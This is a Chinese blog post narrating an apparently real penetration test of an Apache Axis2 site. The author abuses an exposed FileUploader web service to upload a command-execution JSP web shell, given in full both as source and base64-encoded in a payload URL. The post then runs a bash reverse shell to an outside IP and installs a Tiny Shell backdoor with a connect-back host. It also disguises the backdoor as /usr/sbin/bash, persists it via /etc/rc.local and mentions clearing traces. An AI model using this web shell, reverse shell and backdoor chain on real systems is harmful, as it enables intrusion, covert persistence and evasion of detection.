一次真实axis2渗透测试

一 前言

最近在渗透测试中,遇到一个比较有趣的站,因此来分享一下

二 信息收集

首先通过nmap进行端口扫描,同时通过dirsearch进行目录扫描,dirsearch扫描结果如下。
一次真实axis2渗透测试
通过目录扫描发现一些有用的信息

第一 axis2构建的webservice
第二 axis2的后台登录地址(/axis2/axis2-admin/)存在

一次真实axis2渗透测试
google axis2漏洞,发现多半都是默认口令进入后台上传war包getshell

三 漏洞测试

访问后台地址,尝试默认口令admin/axis2,发现如下,顿时心凉半截
一次真实axis2渗透测试
尝试爆破,无果
一次真实axis2渗透测试
不甘心就此止步于此,于是尝试浏览网站,看看是否存在其他有价值的漏洞,直到发现了这个 PHP大马

一次真实axis2渗透测试

四 柳暗花明

访问http://xxxxxx/axis2/services/FileUploader?wsdl 发现一个wsdl接口文档,名为uploadfile
一次真实axis2渗透测试
第一次看到一阵蒙,但内心坚定这里一定可以利用,于是各种百度,发现了如下文章
webservie+soap+wsdl入门
根据文章所讲,加上自己猜测,明白这是个可以上传文件的接口文档,根据文档简单来看
如下代码定义了传入的参数
documento表示上传内容,类型是base64Binary
ruta表示路径,类型是String
nombre表示文件名字,类型是String 天天好彩

<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="documento" nillable="true" type="xs:base64Binary"/>
<xs:element minOccurs="0" name="ruta" nillable="true" type="xs:string"/>
<xs:element minOccurs="0" name="nombre" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>

如下代码定义了上传访问路径(FileUploader/uploadFile),以及上传方式(post)

<wsdl:binding name="FileUploaderHttpBinding" type="axis2:FileUploaderPortType">
<http:binding verb="POST"/>
<wsdl:operation name="uploadFile">
<http:operation location="FileUploader/uploadFile"/>
<wsdl:input>
<mime:content type="text/xml" part="parameters"/>
</wsdl:input>
<wsdl:output>
<mime:content type="text/xml" part="parameters"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>

结合以上,可以看出来这个接口文档告诉我们这里存在一个任意文件上传漏洞

上传jsp木马

<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>

<html>

<head>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=big5">

</head>

<body>

<%

  Runtime runtime = Runtime.getRuntime();

  Process process =null;

  String line=null;

  InputStream is =null;

  InputStreamReader isr=null;

  BufferedReader br =null;

  String ip=request.getParameter("cmd");


  try

  {

    process =runtime.exec(ip);

    is = process.getInputStream();

    isr=new InputStreamReader(is);

    br =new BufferedReader(isr);

    out.println("<pre>");

    while( (line = br.readLine()) != null )

    {

      out.println(line);

      out.flush();

    }

    out.println("</pre>");

    is.close();

    isr.close();

    br.close();

  }

  catch(IOException e )

  {

    out.println(e);

    runtime.exit(1);

  }

%>

</body>

</html>

base64编码以上jsp木马

PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==

构造payload如下

http://xxxxxx/axis2/services/FileUploader/uploadFile?documento=PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==&ruta=./&nombre=2.jsp

访问链接,结果如下,表示成功得到一个jsp shell

一次真实axis2渗透测试

反弹shell

访问shell地址,执行反弹shell(信息收集阶段nmap发现为linux)

http://xxxx/axis2/2.jsp?cmd=bash -i >& /dev/tcp/外网ip/port 0>&1

执行反弹几次,发现一直不成功,最后通过测试,该主机对端口访问进行了限制,只能访问外网80端口,故反弹shell连接中port为80

一次真实axis2渗透测试

后门

当反弹shell后,发现是一台虚拟机,有点失望,但同时发现,该机具有多个内网网段,故打算留个后门以用来进行后面的内网渗透

一次真实axis2渗透测试

一次真实axis2渗透测试
我打算留下一个tsh后门,Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小(在kali系统上编译后只有55K大小)
该后门分为客户端和服务端,支持正向连接模式(即服务端在远程运行,使用者远程直接链接),和反弹连接模式(使用者在自己服务器监听,服务端链接监听端口)
后门下载地址:https://github.com/orangetw/tsh.git
下载tsh到自己服务器上,修改其中的tsh.h文件如下

#ifndef _TSH_H
    #define _TSH_H

   char *secret = "replace with your password";

   #define SERVER_PORT 80/*监听端口*/
   #define FAKE_PROC_NAME "/bin/bash"

   #define CONNECT_BACK_HOST  "外网ip"
  #define CONNECT_BACK_DELAY 30

  #define GET_FILE 1
  #define PUT_FILE 2
  #define RUNSHELL 3

  #endif /* tsh.h */

自己服务器上执行

一次真实axis2渗透测试

目标机器上通过wget下载tsh

一次真实axis2渗透测试
解压后进入tsh目录,然后执行编译(原本打算在自己服务器上编译后上传,结果因为库版本不同报错)

make linux

一次真实axis2渗透测试

把图中的tsh下载到自己的服务器上(在控制端执行监听)
一次真实axis2渗透测试
然后执行

./tsh cb

一次真实axis2渗透测试

将图下tshd重命名为bash,移动至/usr/sbin/bash(以达到更好隐藏自己的目的)

一次真实axis2渗透测试
然后执行(记住添加执行权限x)

./usr/sbin/bash

30秒钟左右,成功获取一个shell

一次真实axis2渗透测试

权限维持

如果,目标机器重启,则tsh后门将要失效,为了防止tsh失效,我们可以在/etc/rc.local文件中写入

/bin/bash /usr/sbin/bash

一次真实axis2渗透测试

因为在linux启动中,会执行/etc/rc.local中的代码
最后就是清楚自己留下的痕迹了

四 总结

在这次测试中,主要是明白了,开发总是会出现各种问题,一条路不通,走下一条路,才能在这其中学到跟多知识,更加希望大佬们指出其中的不足,感谢,感谢,感谢。

上一篇:[Go] golang结构体成员与函数类型


下一篇:LAB7 REST